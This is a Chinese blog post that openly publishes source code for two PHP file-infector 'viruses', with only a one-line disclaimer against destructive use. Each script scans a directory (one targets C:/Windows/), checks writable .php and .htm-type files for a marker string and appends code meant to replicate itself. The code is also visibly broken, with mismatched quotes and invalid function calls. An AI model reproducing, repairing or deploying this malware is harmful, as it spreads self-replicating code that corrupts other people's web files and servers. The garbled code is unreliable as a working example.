公开PHP病毒源代码。声明:不准用于做破坏!

<?php
//第一只php病毒(据说是)
$handle=opendir('.');
while ($file = readdir($handle))
{ $infected=true;
$executable=false;

if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
}
if (($infected==false))
{
$host = fopen($file, "a");
fputs($host,"fputs($host,__FILE__);
fputs($host,"/"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
print "hello";
?>

 

<?php

//第二个病毒:
$vir_string = "Neworld.PHP/n";
$virstringm = "Welcome To The New World Of PHP Programming/n";
$virt = $vir_string . $virstringm;

echo $virt;

$all = opendir('C:/Windows/');
while ($file = readdir($all))
{
$inf = true;
$exe = false;

if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe = strstr ($file, '.htt')) )
if ( is_file($file) && is_writeable($file) )
{


$new = fopen($file, "r");
$look = fread($new, filesize($file));
$yes = strstr ($look, 'neworld.php');
if (!$yes) $inf = false;
}

if ( ($inf=false) )
{
$new = fopen($file, "a");
$fputs($new, "");
$fputs($new, "$fputs($new, __FILE__);
$fputs($new, "/"); ");
$fputs($new, "?>");
return;
}
}
closedir($all);
?>

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值